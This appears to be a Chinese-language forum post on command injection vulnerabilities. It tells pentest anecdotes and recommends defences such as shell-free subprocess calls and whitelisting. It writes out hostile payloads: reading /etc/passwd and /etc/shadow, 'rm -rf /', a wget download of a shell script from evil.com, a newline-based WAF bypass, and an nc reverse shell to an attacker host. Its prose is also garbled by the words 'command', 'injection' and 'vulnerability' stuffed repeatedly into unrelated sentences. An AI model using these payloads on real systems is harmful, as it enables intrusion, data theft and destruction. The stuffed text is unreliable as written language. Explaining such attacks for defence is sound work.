游客发表

命令注入漏洞

发帖时间:2026-10-17 05:14:38

去年某车企的命令OTA服务器被拖库,起因是注入一个测试接口的ping参数没做过滤。攻击者提交了127.0.0.1; cat /etc/passwd,漏洞服务器乖乖把用户列表吐了出来。命令这不是注入孤例——命令注入至今仍是OWASP Top 10里的常客,而且往往藏在最不起眼的漏洞角落。

它的命令原理朴素得吓人:程序把用户输入拼进系统命令里执行。比如PHP里写system("ping -c 4 " . $_GET['ip']),注入你以为用户只会填个IP地址?漏洞人家填8.8.8.8 && rm -rf /,分号、命令管道符、注入反引号、漏洞$(),命令随便哪个都能让命令串起来跑。注入Shell天生支持这些元字符,漏洞你拼接字符串的那一刻,就等于把shell的解析权交给了攻击者。

我见过一个内部运维平台,功能是“批量重启服务”。后端拿服务名去拼systemctl restart $name。开发觉得服务名是下拉框选的,安全。但HTTP请求可以伪造,攻击者直接POST name=nginx;wget http://evil.com/shell.sh,服务器就去下载木马了。更讽刺的是,这个平台部署在跳板机上,跳板机又连着生产数据库。

为什么这种漏洞屡禁不止?因为拼接字符串太顺手了。Python的os.system()、Java的Runtime.exec()、Node的child_process.exec(),API设计得越方便,开发者越容易忽略输入边界。而且命令注入的入口不一定是表单——HTTP头、文件名、图片EXIF、甚至日志内容被二次处理时,都可能成为注入点。有一次代码审计,发现一个日志分析脚本用grep去搜用户提交的UA字符串,结果UA里带个反引号就能执行任意命令。

防御其实不复杂,但需要改掉坏习惯。第一,能不用shell就不用。Python的subprocess.run()传列表参数,Java用ProcessBuilder,它们不会经过shell解析,元字符天然失效。第二,如果非要用shell,白名单校验比黑名单靠谱——IP地址就只允许数字和点,服务名就限定在预定义列表里。第三,别迷信escapeshellarg(),它在不同系统上行为有差异,Windows下尤其容易翻车。

有个细节值得说:很多WAF能拦;和|,但攻击者可以用换行符%0a、或者${ IFS}替代空格来绕过。我试过用ping -c 4 127.0.0.1%0acat%20/etc/shadow,某商业WAF直接放行。所以别把WAF当万能药,代码层的参数化才是正路。

最后提个真实教训。某金融公司内网有个“网络诊断”小工具,前端只能选ping或traceroute,后端却接收原始命令字符串。渗透测试时,我提交了traceroute 8.8.8.8 | nc attacker 4444 -e /bin/bash,直接拿到shell。修复方案很简单:把命令写死成枚举值,用户只能选ping或traceroute,目标IP做正则校验。改完不到20行代码。但在这之前,这个漏洞在内部跑了三年,没人发现。

命令注入的可怕之处在于,它不需要复杂的利用链。一个分号,一次拼接,服务器就姓了别人的姓。下次写代码时,看到system()或exec(),先停三秒——你确定用户输入里没有藏着分号吗?

    热门排行

    友情链接